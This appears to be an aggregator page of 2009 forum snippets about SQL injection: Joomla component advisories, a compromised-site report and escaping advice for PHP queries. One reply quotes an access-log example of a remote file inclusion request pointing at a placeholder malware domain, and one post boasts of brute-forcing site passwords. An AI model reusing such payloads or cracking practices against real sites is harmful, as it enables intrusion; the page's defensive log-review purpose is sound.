Topic profile page for SQL Injection.
This page has aggregated data from forum posts, threads, listings, online discussions, newsgroups, messageboards, and other online sources which contain user generated content for the term: SQL Injection.
Topic "Sql injection" was discussed 3,780 times on 540 sites in last 3 months
Started 3 days, 20 hours ago (2009-12-02 20:01:00)
by dbzeroone
One of my sites has been compromised a few times recently. No serious damage was done and although I think I tracked down the problem component, I'm still wondering if this was a 'SQL Injection' attack or something different. This is what happened: I came in on Monday to find that I had several emails from my site requesting that I verify the requested change of password. When I tried to log in ...
Started 3 days, 23 hours ago (2009-12-02 17:42:00)
by dynamicnet
Greetings: [SA37535] Joomla Joaktree Component "treeId" SQL Injection Vulnerability TITLE: Joomla Joaktree Component "treeId" SQL Injection Vulnerability SECUNIA ADVISORY ID: SA37535 VERIFY ADVISORY: http://secunia.com/advisories/37535/ DESCRIPTION: Don Tukulesto has discovered a vulnerability in the Joaktree component for Joomla, which can be exploited by malicious people to conduct...
Started 5 days, 9 hours ago (2009-12-01 07:20:00)
by nemsis
Hello guys, I didn't use to code websites but i'm working on a serious project right now and I was wondering about some security issues on my system: I have a web page, with GET parameters (bla.php?name=val) wich are only integer values. I use these values to interact with sql. Now, I would like to know wich one is better: Line number On/Off | Expand/Contract   $id = (int)$_GET[...
Started 1 week ago (2009-11-28 20:04:00)
by lafrance
JED http://extensions.joomla.org/extensions/news-produ ction/blog/9883 Vendor : http://www.lyften.com/ Description : LyftenBloggie is a blog publishing component for Joomla 1.5. LyftenBloggie is both free and opensource. version : 1.0.4 or lower maybe also affected Vulnerability : SQL injection
Started 1 week, 1 day ago (2009-11-27 23:07:00)
by christiane_f
i don't use windows so it's difficult for me to brute force. even so i've got myself passes to all my favourite sites and even started a thread hoping users would post pix to it too [Only registered and activated users can see links. ] but it turns out to be the one topic to have the most useless crackers on earth!! can you imagine what it would be like if you had to get everyone of ...
Started 1 week, 1 day ago (2009-11-28 13:22:00)
by arundracula
You might know what SQL injection in PHP mysql queries.. Closing the mysql query manually and deleting the table.. Adding extra parameters to make the query always true and logging in.. This was in earlier PHP, however we can avoid these by magic_quotes... My question is that Will this trick work in a javascript function which accept a variable? If yes how to avoid it? For eg:...
Started 5 days, 8 hours ago (2009-12-01 08:21:00)
by Apollo
nemsis wrote: I really prefer using the first code because it's faster to code and to execute Faster to execute: hardly. As in, I think posting this actually costed you more time than all your servers together will spend on mysql_real_escape_string execution during the rest of your life Anyway, I would escape at all times. Just in case the int-restriction may be removed in the future, or if...
Started 3 days, 13 hours ago (2009-12-03 03:32:00)
by dynamicnet
Greetings dbzeroone: Log file review is critical (best case is daily, and definitely after an attack). Here's an example of what you might see in the transfer (access) or error log: Code: GET //index.php?_REQUEST=&_REQUEST[option]=com_content &_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_pa th=MALWARE_DOMAIN_NAME_GOES_HERE/temp/cache/userim ages/id/id1.txt?? Thank you.
Started 4 days, 7 hours ago (2009-12-02 09:18:00)
by Carol~
Release Date: 2009-12-02 Critical: Moderately critical Impact: Manipulation of data Exposure of sensitive information Where: From remote Solution Status: Unpatched Software:Joaktree 1.x (component for Joomla) Description: Don Tukulesto has discovered a vulnerability in the Joaktree component for Joomla, which can be exploited by malicious people to conduct SQL injection attacks...
